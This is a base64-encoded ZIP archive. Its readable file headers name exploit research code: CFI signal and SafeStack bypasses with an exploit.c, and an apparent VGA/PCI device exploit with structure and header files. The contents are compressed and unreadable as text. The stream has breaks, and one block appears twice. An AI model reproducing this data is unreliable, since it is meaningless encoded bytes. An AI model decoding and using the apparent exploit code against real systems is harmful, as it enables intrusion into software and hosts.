KI/7Hqc+30grc86PMIYRX1s/4atMZsfj7KHpsHUgHOUfpPsIEbVjLxP/gXqP5ezJ1tK0yvMo8zP
KBiX01zJjep4Oe2TMdyQYgs5ZrMRV5EP4QwaHbMHxm2mRnWYhHRU8QG4zzwtssyKlS/An1PRUMc
vCgyDt5+ZkfExnk2/0akIvL65uuqQPe4YbRMQEWiIw/7oEslELTDH1R7DzqWYKInZ3tVOy9TtxD
8TC18dMxjdjdYg63cCqJ1kkiRcED9B8CR6aGpG5EmIcWhqNA1faZC58VQ5V5ghIWrPcashes7EV
zF316DB7H/5DsHpcSm6l4WNUNNvdVcgUNFQ0cDNAeZBARkDmHfTJ/EnyWINSqKomeq+JMI3Sg4y
K+9EsABuJRmq3EjWwW68e1nZu1Iqge41YG6alCFXkZkobxiOL/I25dbd7n50AQcMkd8g/SY6wv3
nvbba61cC1NF4jj1kEW5SyynlFRRs1jj1ThEQXt6yqpTNL6ez8mOa5e59JW2kcGZpwHsEJmum5k
/54xkIA4R1xnmeIisasjBSJCHRYDzqPkYCWBk0qDa9a++qSPIvXzEu47kGQWp4JeVOYTK2c/H58
c0YvbiHNFHGlHb1MdXhIPgytFkgrvgqip6IDpuZrw2TU9ah1327GnMMYtIM0Om+XtXvQlFZSJi/
H4CmHulGwekmjvCqrRX/ZJb43+gEgCMP3VC0CKD+jhL8suIt4MWH50ydUiPxHQQKtsGyumPBV/Q
RBUIDUULmzA1/W+Rfur/UsgFU2GLV1gy6Be4qdPorAlh5FTFnrwA4Vi8XdP+5TbhWWevALaDaqY
bEube/UBjJstsUsWB+I69Sldhfagjp8LfwYhIaOSMfOyiZfJbCnupoIAEkQct/c6sFOTwSQ3NC/
Jr9fKYNCyZ35bkCwfpAkxn5wAll6dD3Zux7vDX797cNwf758WuuxuFRHbiKxWHC8vYF73iJgf39
/Cz1aLmDt84AChoW1RJoXdLgIbszpt9kNPRnPzm6vpl2ydffLfUkLlwmPO7+ow7DqlEAfKU2UxN
dLnjLMcQD3Ob7hdiJF4BMoc+T4ZAYdKGTAqHV1HyE8yDxZ1O1zDGVxgRTQbCUnMiCzyfQcbjXT8
8lWmp6P5ZrTV8eWJFxBdioBMJ0xNExmQUhW1XAFJEs/nzHgq54vqkOEnhgOSlMCxm4+IGgAs3Nt
rOrxNhdraBX5+eQ38j7ewgMXdazX0Lgi/qduwrrggMZF/dpqq7KVGqwsHqdi1MisxaBZ64wXlxQ
uiA2mDczfLzP1NxMY2o6m05MW8BINDRdBzDtSuupri4NNawlaDAqN1LXSSXBQeKaVEp2lorwh+z
M5vz07ez3cp1EEblYnMQVeV/A86MEuSpdyuSiGKfANXF4jVYr1XdWGeNERPetdQH+H+bAPZoSej
jWmf1/SuFKBrO0a/L3D7Oa8r6/fo0zE3mEoIL8ieNzXdyJyeTw7Gl/R2UUrEaZoWkebm9lEnMdQ
lcqBizNAxr4NIM0Mk0JEdmueKWlk7QxhuzL9lKRCJ2lIRctVONIXFG/wQcgjSNYVdKu5kBGLngh
25J52S80bg8Ibg5e9Ubq/fdcxr5ohU3zwFrcN2tw2GOEI2OuhoiuVVqh1OuTiNN/G+5JXB/8Xrw
7avAp3g2H130ipkYSOKuRLEdd8E+ceV9YxW5rxDzkGp+bXlVEKcADP0XAYNBW7IDEc61FHQJGoK
57z6Th7ge+xxqfCGQaJiOH9C9phHvxYbBsq5a+zwKmuxxax8tzsAu+h9AQaDtTk0Xf4sttJG0IR
5JeXmn6vikRXk9eDqKE09tNShvYev6Px4Cc1HvzvNR68SeOXI63NHJcRDxlkMpqlaCItJsERN7u
k6hnYaoy1RnNsfr1p9g4azdtXU5LSpdLXZhf5u9JscmobjWoISoNSfYJo0Q8GqazjqsttHa5631
O94MDJP+QAANJ8y1Ki6RJdwiyyl79Az9I1twWl6koDqvMoDFT1Qo8VlxtA1bgNLgJJFUU94PLrE
Q6RhYg9fW9SK6OKk3D9pbE7F2ZVeS5S8IhV8ZfBSzb3YDb3JWQkOhVGUmbjlJ55un5Xr6tPcw5Q
rnTdU4+te1bDqGow9rIgq18AyvgDz6GVNy4vwWwQlk2PM6wDTppz7vbTT32WnYgYTINn4t9gSLx
MpBM8+pgZEV+IGN/v6SG3Aj6bz+dm+qegbstfctRZ6k21KYLydbyPF/D/AlBLAwQUAAAACADGQE
ZNxYoblUIAAABZAAAAJgAcAGNvZGUvc2V0dXBDL2NmaV9zaWduYWxfYnlwYXNzL01ha2VmaWxlV
VQJAANkz7hbZFa8W3V4CwABBOgDAAAE6AMAAEutKMjJzyyxUkiFMPSSuTjTk5MVdMMTc3IUdNPT
U5IUdItLUmzT80otLRV082EKERoUuJJzUhPzrLg4i3JholxcAFBLAwQUAAAACADLlR9NmZ4EPhg
BAACPAgAAJwAcAGNvZGUvc2V0dXBDL2NmaV9zaWduYWxfYnlwYXNzL2FkZHJlc3MuaFVUCQADbu
+JW2RWvFt1eAsAAQToAwAABOgDAAB1kc1uwyAQhM/pU+w5qhIndW2sqOcee+kd4QVcJAoRrJvm7

Yt/YltucmVmPmZ3W+OoyDnB2V9U4HVL5B3/Ek5aFeANst8iFyo7bTb7LXito6II5EG3DneoDWz3
T+3EQMPVd2u58SuEPGanOz5p/GV0oGAPHDcGFokxW7yVfCi9/CqvtaiWJN0o4pEG9Vhj+ZKt1br
VXAoSk4WxNG838E3e9fJy1F5BR1PmyJblGk9pCUh26F4x0a2wZ75/fIKQMqgY00JhcCX0HLamxi
md4gessMzGSp04HqK7wxRfpR2pcPbRuIZH0wgk413f5YC6LNjpHsv/qHAJhhRwvqaACEFc/3+0g
r+y7PCg6cIarxGFtc/gPMH8nOB/UEsDBAoAAAAAANBLblAAAAAAAAAAAAAAAAAAhABwAY29kZS9z
ZXR1cEMvY2ZpX3NhZmVzdGFja19ieXBhc3MvVVQJAAOnBm1esAZtXnV4CwABBOgDAAAE6AMAAFB
LAwQUAAAACADADUZNI1LB/JcIAABFGQAALQAcAGNvZGUvc2V0dXBDL2NmaV9zYWZlc3RhY2tfYn
lwYXNzL3N0cnVjdHVyZXMuaFVUCQADSHa4W2RWvFt1eAsAAQToAwAABOgDAAC1WG1v2zgS/iz/C
gL7xfbmGttNvAFcHOA2btZA4gSxu7vXoCBoibaJSqJCUY6zvf3vN0PqhZLs3AF3lw+J+DzDmdFw
ZjjKTyL2wyzg5EP6mp4/Zzzj73Z/73TO+2R+fk8SqXRK+uednwK+ETEnn3//tLql919WxP4MDpf
DQYOdL4jDDjsVfTNb0eXqcfnV0leDirt/oIsvt7fFTjJ0mdmnX+9LZuQyoLEkyPsGQ29nuSsXLr
N091y6zN30j4qxkp1OqlXma7KPfH0gPzqeiLXhN8Gk42Wwej+imoTyJeIRDUUk9KQSAmwTsm0KU
Cr+5CCYSzrATmx3FvF3TOGu/pqlnAWBcrGYRXzS+WtiDsf6HBARg4k9j/U7H4+pw+MsInxP9WvC
0dnZb5/p42x6fWYff3+cr2b582p+N3vMn5fzm8X01ijPX9dqRRV7KQJ0oNuPON1ksd/rwtudEdf
UGTFS/d6kDCcIRyn3U3zYBG5EqImcs9YQNIRqziMOfyeVA2g/YYpF9d3+c32daqZ5QySUKTdWb+
fLFZ0tVo//6No37CEfilTb0Obee5AJdH7/cP+4WnrdIfnwgQzHvU4HPQIJgrq7fRHLTJuQUN3r1
vKkD7/OjNjeTzL7JGL7F4sK4m4cXL9qnp6RMo36nB2KYDK17VUHYo3tWByEXKV4ML6MU02K/Cgz
xOTk+ILqIpGLBHTdRTzX5US4+EHTEA9CKdNaiXWmOaXdbsL87zzo9Rq+gI9l3GzM6GdoAp43OAz
bBPQOZEbHthiu6wDkn8Td2MPc75A+We042cgQSknEW/uChClOstTUhOYqZmH4SsBDEmUQpVhCrH
N+/YoqAr4XPqSZDHiYvus4Ta7y6Hr2efrldgXuXg3sjwe154dMREYPliHLQl2E0pRgUQAPn+ZQe
je2p3ijy0uXecReQz9OH+nA6UEe7gEQOK8uhHbhgSi+hVzFBIDKZ2SFlTIgO2gWuXU3CyfFKvEF
xfeNMc0bII8yk0xVGiWcAjjx0OYCUorITREtwEOmhYyNLRRAnSwGyle8ZMraw64B6kQsWgVyRtr
OAQp1YX3py0SnmP9oZfrpYU6ul9cr03W4qixh6nrGyIsSkKZBGlSmaqoLXVA2G7ElKWQzh3iy4N
zsJD5kzBoyPC3ewKr1N1vDv13g6PYxo4mwQnKzSbmp+qNlv2dhb1I3ip79X232FdfWbqfKrhPRq
BqEcW/N1P8gJqBFBAcjVras3GfD4/1o/TUU+JrxXq2/Fc7897H6T3zp2SvC3FKgBLaU1ywUK5bp
4n6Bt2u+mt9Xz3ezu/ej2nJ8UVv+Oh9fuPevNYC6m/Y8cy2a6hSSSIUzhlSv5pwK3z0zXExcwI4
Tzh1HHuZ0Mb2bLb96F4Pq3k/FgWq2DqEJxBrU/nCU5CNJkUJelG5pwDRzsT33tVQUqkwrGdpbxF
4cdnLB3juPIb9STjS0cWs3g+YtUuzGYiOgt2pJdjIMCD9oxeAENlJFpujPsIdD57PvgMqAsorgj
eGBwWHtZAZ71OW/4kG9v98t53/Q1fTj7cyOAjD+fJ15w3EZGWy7DaH5bOmNBhdXVav+ODX7uhAE
OKGe11Uyi4MsGXUL6IyML3rknFz18qwJIUjKDCgY1vn1LWbLdLmcPa5mOKI9zBbX88VNIw/KbIU
97d4NKUxxsqlnP4D5FWBO5goOhhAA1xm0APibhlKbBxwH8inTSuAQ8VSmxre8K9nNkIFbrvPUKu
FE8b3PEheCJY/xwAu3fth558pOHl4iYhD3GkHxitHNKAIh9UxzSavZE5IlwqdAIJjoHVY+jWA+g
aT1Qul/B/wv9MBobTuANjG5MWKtvK4AJ7Htrogd7KEW+qFOjmh3lOPS1hGErQCSNSuWZR+2QrbZ
1Df6kFC6Jov765KI5Adi1nieWCc0Yun3CfE6Zd9rVXbfLCbYSKDZSx8LhUBqKrAKA45pKPZ+7aO
VhG25axXXlTNFUA4Yleq6wETEYdK0K5uxf0uU2IMtggG2c0RGq/yDqw+JJ2d8+pkMv03c3MfOaP
PxqZqYcjGsHewzZV9Jyw7x2820GGTQbH2Yx6+346O8uQHyX0WGNJYoZIf2M/i+i925HfUqFm95Y
2QvpnW0XkzolQ/N4Rwn8iEsUDlMutuRew/i16K7tvlgApE7sd697vkWCidi1hFzMW4ZTr+5Dy8i
0Lv8ecfhk1S7n7d9Ww1OY8pVOk2pbqRfPOU6FXup7QfrNJUb7WqoYhWpSVMvasx1gWrXXViWHv9
bX/J2SProgP2YLCBEIpH6DSjV6XDSLHWS8meYawN+KAoUxRGEjOO6CfrYm2ge7nK/H9FA6rQpHL
HElm9TCRIpD+sqAIOKwkps4fD9XeA1/baLmXfjz+1X85X22+9mUHwD6msVtpidVOJPqqVmp7hAp
Ak110KDhravdC60Dln8vSUBu97kXQ0w1ioY7d/QcUpiz0HJ8TeQwG3gc7NFJHjcsaZKvtDUZ3E7
YuxgCLyR2ib9TKVSWf9PkbKtNGdOBxNvNIr/WHqLd95nOG7zp6xCKtNjoXBo13KluhI4Hvr8XE5
EoyZy7M2NwMkkq67NGgwjG1d4NEfdssEwik8n5hu0UezLKGGKlzWHTLvotkdKDjDwud1Rtmh4fZ
LzZWgm8MKsyylZzFgOKJOmlBmrqm7jUEUPox+lDAuA+hdtTDbNGFRFx9CXFmr7cBOi22OCtqO1Q
xDARwjMoq0grIVuNViA4VPB3w2OgcNj4OgY+L485u2RQwYJuglFAq0kmThY6+QRTFjIteZPw/G3
JlUcgothizKNxrx7k7UBSSBLsXjWTdo2xkQceAh241jE2+MaICHgA+8tjl5cvkmPfylDxJqFUGw
KmE/djwEDqKCKk4Ol2boFv6i2KGCuqGuqiPQv46sy1GbscUiqtuun0aU5C+s9kHai+RdQSwMEFA
AAAAgAy5UfTZ4Tw2vABwAAPBUAACYAHABjb2RlL3NldHVwQy9jZmlfc2FmZXN0YWNrX2J5cGFzc
y92Z2EuaFVUCQADbu+JW2RWvFt1eAsAAQToAwAABOgDAAC1WFtzo0YWfpZ+RVclVZmL1haybMub
ra1tQUvqGi4KjXzZF4IRGlORAvIE++vzzkNSA3CM7UPm5okiO/0d659zmEuP/2tTz4RPd2/ZfH
Xl4J8CD+S0VC7Jt5b+JISG1/GyddgG5F/FPjqIjm9+td+e8ji50OeRMW3NPsjvwjT3T+RkG63RB
LmJIvyKHuN1hfwHiE3Wsd5gceKOE1IkKzJIY9InJA8PWRhJN88x0mQvZFNmu3yAfkWFy8kzeT/0
0OBLLt0HW/iMECOAQmyiOyjbBcXRbQm+yx9jdfwULwEBfwnAp7tNv0GRpMwTdYxHsqRBc/touLv
+KxdtEzLSbqpbQrTNUge8gLcKQKwFVmD5/QVoSp2SAL/JGkRh9EAJOKcbIEPaU5qpXtNm0BpuA3
iXZRhjMjo3BBQqESkNgT8XB/AuP+PLaT0smJap+FhFyVFUCftEvKRAp6RXVBEWRxs81PgZcKQWH
WjLgBvwQURzsx7oC4j8Lx0nXtuMINMnwBkhK68heOS33+nAuBffiHUNmRR2U+EPS5dJgQBnFtLk
8MpoHGp7XEmBoTburkyuD0fkOnKI7bjEZNb3AMxzxkgOxKdnyTOjFjM1Rfwk065yb0n1Epm3LNR
3Qz0UbKkrsf1lUldsly5S0dINvTC4EI3KbeYcUHACFBM2D2zPSIW1DRVr+CP7tiey8E+xxVkysB
COjUllVQDXhrcZbqH7pyedAgRGGcOiFgyneMDe2TgCXWfBhWtYL+tQAhAZDOoRefg24cfRAXir6
9cZqG9EAexmgqPeyuPkbnjGAKpgF4w957rTPxKTEfIgK0EG4ASj0r1wALRAhiepyvBZdy47THXX
S097tgfkWjhPEBgwFgKpw0ZY8eWPkOMHPcJeTEeMgUD8rBg8N7FkMqoUYyFgOjpHrIpkqAV4ukp
zhKbzU0+Z7bOEHWQ6IEL9hEyxgUK8FLzA32SPq6k+5grsK18VCp1IDNK+IxQ456j8ZUw1IHgVc0
4M2QSK31RRb8u+p9nWRRNhfEz/Ljs93+KN8k62hD/fk79hd//CX7ESdSrfx9f4G/uLMEzX3hQfr
3e8M+rcNiFM9voSXi96fcvP5F5lERZAH04+gq3MMpy1Fyfg7D43F6ukFYMfSQoqUcNkRmjHpSGr
3uuqQgFDSELit+H6CHbSSbs1qX5lmM7pRyIPQfviemO6bhHufVJjkhBkLh3pb/DSQ+8vY8y6HXS
3SILoCsqzh5PGKw8oeEJI8732+CNREnwDOMNeqVMDSC0KJsWNtSkyKA5Qps7hvFCpaae7nPjsfK
7lRwE8X6oqNY/O2tR8UWi2qaBLanJPI8NEesCtGtAtOsGZDkGZAuvimMCeHOKgURB4VJIXZMhxo
An4FECUdvDOIfhSfL4v83QVcfmVIncPAv2L3GYXwbb/UuQwGDI4rAdFQeuudCpXSYSbLltwFV6T
WozqFxsgCAyaYhAu+T/9pf8kUHtUduGKwsydx00gpnQJXu90bBpuC58/ea2tDxEy/V0C3Mrj7ZR

WMBIhfXk5vPtmb94bHxdHrvqPjb+fF1Xi4j+c4iS8N0SgabcLpFxA2yXyHW/AcO8Y16jBo5vfSq
ebL2snQ70CI4aoG46+hcIpiwWiOjJeYlavnDKU7JERAidK4HFYdOIUyU6uVPqYnJ5B4tCQcJtGv
7RDoFFl3Wlt8xZUFeidRav2lqEL+hCMUl/CXDt2MNIhmSQUYdh8ogvFnwGhNddqFoVDb6cDD9r7
1DWjKMOcFqaqDVNnH7PxOnRxHEXqlZgg+87Jk5rxma5WMyC6VplvK3NsqDelV4KymD5G58pADmn
6qBjlHPW68voFYqjQ5BZpeAIBdmfRZTgYriLdilssdXNqfvIj9vs/KzLRirWvkGbvoriVTi/RAC
UfUfFNRUue4vuWLD3MTXntUbX8aiHAblSIZdRo1HPYxWtMqDWZPW2jm1ZQJ2xrSXrbI1b2Woogq
nMTOyvzgpa/k2TBUf23PpfevrxmGUpV6dKKFZmt2xVjqPzwBowpXxdhvZWRafcqxvFRJaJDmvdD
ysEhKppelwv5H4xbkrIvLVErs9JlOVDbh9dLG0ZpW1LoXJ8eVAjplp3CgZfDctybdOasFz1KqEp
pPCLWn1SAk418av3GVyGizPrjd+jqAV6rUjABPdqB5QCkhiO95npPPTU7JESmsFqJu6UNQN+yjZ
41ygSVbjuWl1cBiu5xiWXwb7HBcI1102nqolydWq7Ju/ZNelo+IqqidLjarve4QLhmquV7GU5rF
3nwcd9Cau+gVv0UQK+Cd9Uvd5di9wSJv7bXiAlBp91Atej8stBG7aO4p6jjnr9kOX4Wd8a9UdZU
SlRZPMiyIqze1jpLb9INK1NBQ2MnVPBhDgjKsuYGobrL/gcBqw2eldAFqN21WkJbDw1wfhdgZKg
6w5UF+QYyJvvyJT3uV3H9/ARddzzNx3HlV7Qyr8zm5WzS1l9JbCyDeZiUaD1jeVXCY0kr3uIdt4
BGngruM2PidFVu/J032PKLffiHf4VUvU91U6lNPQ0TMeytRtU7/4+BeAUr6vwpgFgh3YNdeDfnu
EPropPGnh7Xbjr91/TeN379Po18OMkLj7ESUHi1E+T7dvHX6GvQ23GGwIGVx/oaOpfUEsDBBQAA
AAIAHm/SU17BTUqfwkAAAQeAAAqABwAY29kZS9zZXR1cEMvY2ZpX3NhZmVzdGFja19ieXBhc3Mv
ZXhwbG9pdC5jVVQJAANmo71bZqO9W3V4CwABBOgDAAAE6AMAALVZe0/jxhb/2/kU06wW2RDyWm6
1ahbUQAKKxCUoQLsqQiPHHicjHNu1xyG0l+9+z5nx24ZlV22q7iYzc86c9/md2Q82c7jHCL24uq
M387vF2bTV+sA9y41tRr5Ewuae6K5PymsuX1bXQu6taueWvu+WF1kYlhccyxOVM7HHgbbC7Dnqx
dyvL4rngEXl5Y1prUGnnhXETuxZpc02SBpbIg6RqF1Y367M8oJp23CockqsQxqEfGsKhhutD4n5
VkxQ33EiJvTsgg5hBqF0GXNXcC/Z9p3ygZzF+cX0lt7cLm7+IPKjfe5ne79djOnp7IrezP6Yalp
/97mf7/13/JVejy+mN/R2ThfT8USRk+Gw32qpu4hjPjKaa07+bmnW2gyJg3LD+n1++cOINH5aWs
ILaLWI/8UosKXRXyP4GUOMfBrKBdsU5v2gPzxq4tPbJ2ACEgckMJ9d37TJmoWM7Pda2ouSZRk7w
BD5/XwE/ALTHoyym7m/ZVZyDr7fDx9wLxFFagLfK+TDArnnx4KuTc92WRiR9AuyqYlp+WEYB4KI
NcsOopwv4FBTQLAvY8Eo1fXAtB6ZbRhVE49arcwqyvNU+DTgZrga5Tur2Axt6vINF+SY9HfDPny
AFPOGtHhETZevPGbTQIR6ptbOaP3damncIbq+I3tAd26QY6Ane3vgJ01LV/OPQU5KC4Z0Y8hAVo
+A0Gi2F8LciBU3HBMWcKf10lJCoUwbtmWeyHVNApqodbKv/kYZlYiZ4Iautg5PNoxiZhqpmFJ8P
fCfWAghIITvpX7KT+ztoWoFDgLMZmd6FzegJOD69LdzyJiLq/Flndhy/Yg5OXnF1rnMBZrADM1N
Ksh7CFyoY12XUY/thJE653sIg5BtjR/wVcqz5TLzse6wrc9t6R889xkiat9ax94jdZ+K2ZOuJWm
V5VHqZ+QNSqifRcLkPhX2SJjtCDAEXZqRZFfiD+EPGRyYK4a/dIPs1wvbKKeB45bpur6ll7h0CP
4JNTZRzDDwIkj7pT4Zn9HZ5CtdTOj1fHHbIX3Y0xw/JDqcJRzzr0MgGxXDRKb+CHa+VExB+MGBc
kq6fs8f4DD31DWT8e1YXiJv17DqCTMUxPX9R+iSBC9NjGg6AmIceg+NfEdYZMk9WQ5l5nBIWr1Y
+slhvdHkxB351TatLvwPweoyIZiRhI9W0uzgQEomRUNFfScVKAsSyAjIvKM+WT4LFimhpFRlE31
UhzCNkou0kvvRLCA2HhrJ3VLUwG61ehh7mVFLjB6UxMowDUWoxDdVWtOezNDb6e37g4f0Bgga6N
42+ZVkEvZ3H91du1MOXEPJq2Uxi8Lmpax0X17RRrVrL+VBoopbWtUScFG4O7umfu/hMWkqjSNNH
VyGcIMiemklf7xgIYDwDhnLMkRGY1pG8kSEc1gPWk8hh5YGTSoJr0r76pAsi7emGzPVgyC1XB3y
JjeZXDn//ez2ks7vIM3k4VI7ev3UyQn5NDQaRNqwjR8+5x0wMV+TTFpVj0r37aTEmRiDZiG11vt
5HRzVuRWUycoxeMqmTuhvXtMoq8py0Vt3iOeOvkMQFMNzZS0CUX5ECW+dU+fxosPyly+oEPmfFA
m0wrK5Mbkn6ycwggIkQeX+PvzYZj+Yt1VYAKusP3qtG6StKOKr+/88JMdk/CmE59MUk2FVLmzvV
5AXdtUc9FWRb/V0oa8FFqc223IvAqaBzRN8Wdpkmxj2WKmpJVVDcJsmliwqCaXfesR1iRs76rdU
KfltOkyuSeIapQTUeGoLxSbkQXIKzOmDIfyAeXq7B4L1uA9FBPrk5PeFdByU9pnn+ATrFIkj7Dv
nUA1ObyaHN+PDwc+/fBp2l+vnrYLfhXp1G/LViuE4B2HwHgbdbreNkVMslM24QwqGBbxwVDYOqF
gwGO706dfZLT0fzy7vFtMOad//9FBQwjG5y+yf2pJLQeBTqYXk9nZZlUY582GOYztmxYL7HoFSS
s7OZ9DlAhMIlZ7OkyVcsoxXVducQeld4QnwjWBE+GQ2mV7B5DS9mrSTEvBUrGv9qrALqACSASBA
E42SWg8KgmzqHBKyn+EY+KkwTBmoKFRyVEAimDYZCFECzK4MiQfL11uMQyjl95NfyMeojReuqrL
eQHMM2Z+q0auiBhrnNbLdVMlLdV5aPErYSFiu2KBZq4TzawpDaI1oBxj/daL+bgLA8HQ6PW8QXq
ChYdjElCeFuV9ZHGxaqQ05GKlVDSNBm4PcM40n0Vkywmu8j8nV3eXlm6E+DUPwsrzIlLKrJtFOb
SL1KFapHKyBX2A4DmWpV7OwBbGionnWmwN+APzZBxMCZsDS1n8oaFsqfMZeRfTDk3Qy76rxfpSy
ODwJOORWCF+7auYi12ez0/GCzuaNhzA9k/Jd30wRdxY/5VM2DOYgMuICEFJPZZISkYOKVwoaGft
D2C6hqwJX6FQ1rmi5EkXyAPIOHwQshETdQDdcchGa4TPBjt9Tbql4Y5B7Y/C6Nwrz4Tcd86YZUs
UH73HboMltgxFCzF4PFd3IlEKtExCN00IT7WteHfwrXh00eRVmj2H5v5FUIw5sWcTXPKr4Jso8L
q2jN2CA73IMovK3lZEKMBCeoeEwaEp2wcNwrUttDhWiqnhGp+LsFbqnCp0MZwAQoYnzHbTCLPix
0NZUyp7LwKmOa64i6bnZHOdceg7NBurx6Bt06fTTJCH3s+Goot+bLNHV5O0gqimNvbSQob2nb2g
8+EGNB/+8xoN3afx6pDWZ4zpkgQmZjGbJm0iDSRBZp0Owgt5GDU1rdbT+dsPsHdUatycRktSl1N
dm8+wtNkVNTbCoIkEBJFXRQ4N+AKIUakqG56q48j2pPEDBzd/lABCk/opTONMhqoQZ5DB7oE9cJ
XEwTgxqOFBvGQhj8wccsZbVowJc8RFCws6cNsXKS9WkcDdIiJVMOTKtzjegcW2SzU9Vo7k8Ab1N
m90gzdRkJyUiDK3Aq1tmbWS3ZfPVP39bxlrdVpreMNjLyh5U5r1RzSuIxetOyQeY8g1pzmYQUQ6
GZDG7xhB4VCGwhF3pbQStmELJEA954qfTqs2jwBTWWgZKebpUCK2SW59VbhX+wQIXDmAjmT+yYb
XJ5BUzHRIuX7kQKBcJj6vS0UyVYkypt72iHZMnvapuYJY0iLW6knWh5LnsOe2FaJqqBFLOCjnOr
d/E8gUkX5Msg/XzpMC9y50yryvPYmXRcCiywQFLxpx+8pFXyX/y0LlffNfp40vO/wFQSwMEFAAA
AAgA5g1GTZO9lR52AAAApgAAACkAHABjb2RlL3NldHVwQy9jZmlfc2FmZXN0YWNrX2J5cGFzcy9
NYWtlZmlsZVVUCQADkHa4W6IGbV51eAsAAQToAwAABOgDAADz9HO21fXULy0u0i8uStbPyUwC4Z
KMIn0gTk1M0VfALptYlJyhn5ibYmain5mXnFOakqrPxZVaUZCTn1lipQBl6CVzcaYnJyvopqenJ
CnoFpek2KbnlVpaKujmw5QglCqoaHj6OWtyJeekJuZZcXEW5cLkuLgAUEsDBBQAAAAIAGENRk0P
YK6UEgEAABsCAAAqABwAY29kZS9zZXR1cEMvY2ZpX3NhZmVzdGFja19ieXBhc3MvYWRkcmVzcy5
oVVQJAAOWdbhbZFa8W3V4CwABBOgDAAAE6AMAAAHWPW0/CQBCFn+2vmOd66abQsrFITCQmPmmICQ
/GbPZWWNl2m3YK/HzLCgUR53HmnG/OaU2J6ZAhVG6jayZaRFeyJS+V1TU8ANmmQ65JBmcTheDyv
NHYADp4en6Br7aoALmwuoEwCtoeLA3TRWuZcWdcFZPsgk4Zt9krJKf/KA4MmXaMoyRfaGQN/lxj
IUeD0xf+KtqcKY68l1D6p13f8eC4847TWv4iS+wxMT0NUui1LpGhUV4wFIrSXdIoDCDsFuQ4g4R

SCuPrJIkn91eSW9v97rolKSEwXnnQY2VxctGpvHPUOQu33qWezl9nU3h7n8FHLapbspWfN5pvg1
/p9/GUaSqOcsmEdXJlyoUP67FZ8A1QSwMECgAAAAAAOEtuUAAAAAAAAAAAAAAAAAAwAHABjb2RlL
3NldHVwQS9VVAkAA4sFbV6NBW1edXgLAAEE6AMAAAToAwAAUEsDBAoAAAAAAC5fSU0AAAAAAAAA
AAAAAAAcABwAY29kZS9zZXR1cEEvdmdhX3BjaV9leHBsb2l0L1VUCQADGPq8W10FbV51eAsAAQT
oAwAABOgDAABQSwMEFAAAAAgAJmYzTS91v+7cAwAAiAoAACgAHABjb2RlL3NldHVwQS92Z2FfcG
NpX2V4cGxvaXQvc3RydWN0dXJlcy5oVVQJAAM4qKJbOKiiW3V4CwABBOgDAAAE6AMAAJVWbW/bN
hD+LP8KAgUGSUiT2A32RUEBe1Eyo1E22E6LvYGgJdrWIlIOSblJi+y37456sSQ7w8IPFnl87vjc
8e7od6mMsyLh5FI/67PHghf8dPNxMHiX8FUqufNp4jiOOzwfXdzfeo00aqTEJ/3Nm/7mEczniEb
R+Fd6cz+eXdH59PfQcREXTbzB4Mwnf3PBsiyPiTaqiE2huCb+Wa1O8q2h2ZrGm0I+OM5o2GxYiU
6/cYIUyOVlB+od4qhg+gHBe833ZOg1ASA//Xx/94mOr65mo8l4HrrMI28afw4c193laUJ8z3WLV
JqtUdR4aOgH8k+XiLc/2Gkd/Mv19TxcgIZjhzVpdcwRk4cWzfOWg9EqlsTELN5wukwl1YYZTfWh
yAT/pdVevIpsUEcQafzAFSLKCSAaSCF1upY8IeAW0d9Smdjt17l/HzgYgh8vqCFScUhhbXQweDm
uhPBDb4mxk2Dg4KlZ/pV+ZYYrWHfoQB6t0iyjSbrrb0lrMwFxedc+27E069Kovf5uj/kwoqUs2C
8lro+St1qVCGa1D4b4j4pTyZ8gSH3pVnHk+UKyVOIpTZi2Kl9RFseFWD4bjm7XF0HWMS3nIKyiT
9A6hQ0IWNCJHrCDj/5j+FdJGQq3TF6MCdkJwbbpaYyFWzHfidg8Vf7b6lglFS/rPgRecEGzVKQm
2INAtsrYGnmWWU8qZEuwSdebUhJvmEItf8k0Z0mi2jLJBD/GVfAdl6bkymUhCN9RzEjkGn6+prN
wfHVSTr/Mpouwmi+mUTir5vPpzd34tn11pVE0YXMChusLTleFjD0XnDsh7aNOSNUlgqb3AFhoHm
ucrJJ2QKgNXGttIGYo6pBHOXyDPQE8f8sUE13t+LG7xmrgPUiWa25PvZ3OFzS8W8x+c0sPPdzPU
m3KyNbsZ5MKhRze2DVxYJ+rM/7t2t0BpmpbNjK+WgJlvjLBHgMZgRLCMy7w3vyz/2FDQd61jIAN
K3nNyFEbcCEADVo2SskrRtAGXgyqxnmWq4AcDLAhc3jV7f6BJ9bGy2ENiNMNFkDdivEQzFhhUxY
fmE4Z+yfEJrH9qXtLb4mgMq1PoGbl2mvlRxRGtKysLrfzp2EPY0uuhxn17Xzp+3j+9KGHmUbR/W
I8uQ1bmAv7dSAU6Khicg1RY1Lmhiw5vEaKryGzuYIYQWj2pV1jobrjXGpDbI+pGoy9n7pn7QNIN
kwmme2tZVCYWg9hgZEhMB+1mzS2r/YaO93x1iU6PVaINKdquafX1GFnB4pWUfswtHJmNiFGcW4f
DPuHyznwtxqgXPeRhmFvAKTvwyGCy8Q69S9QSwMEFAAAAAgA+Uh0TJ4Tw2vABwAAPBUAACEAHAB
jb2RlL3NldHVwQS92Z2FfcGNpX2V4cGxvaXQvdmdhLmhVVAkAA9YxsVrWMbFadXgLAAEE6AMAAA
ToAwAAtVhbc6NGFn6WfkVXJVWZi9YWsmzLm62tbUFL6houCo182ReCERpTkUALyBPvr885DUgNw
jO1D5uaJIjv9Heufc5hLj/9rU8+ET3dv2Xx15eCfAg/ktFQuybeW/iSEhtfxsnXYBuRfxT46iI5
vfrXfnvI4udDnkTFtzT7I78I090/kZBut0QS5iSL8ih7jdYX8B4hN1rHeYHHijhNSJCsySGPSJy
QPD1kYSTfPMdJkL2RTZrt8gH5FhcvJM3k/9NDgSy7dB1v4jBAjgEJsojso2wXF0W0JvssfY3X8F
C8BAX8JwKe7Tb9BkaTME3WMR7KkQXP7aLi7/isXbRMy0m6qW0K0zVIHvIC3CkCsBVZg+f0FaEqd
kgC/yRpEYfRACTinGyBD2lOaqV7TZtAabgN4l2UYYzI6NwQUKhEpDYE/FwfwLj/jy2k9LJiWqfh
YRclRVAn7RLykQKekV1QRFkcbPNT4GXCkFh1oy4Ab8EFEc7Me6AuI/C8dJ17bjCDTJ8AZISuvIX
jkt9/pwLgX34h1DZkUdlPhD0uXSYEAZxbS5PDKaBxqe1xJgaE27q5Mrg9H5DpyiO24xGTW9wDMc
8ZIDsSnZ8kzoxYzNUX8JNOucm9J9RKZtyzUd0M9FGypK7H9ZVJXbJcuUtHSDb0wuBCNym3mHFBw
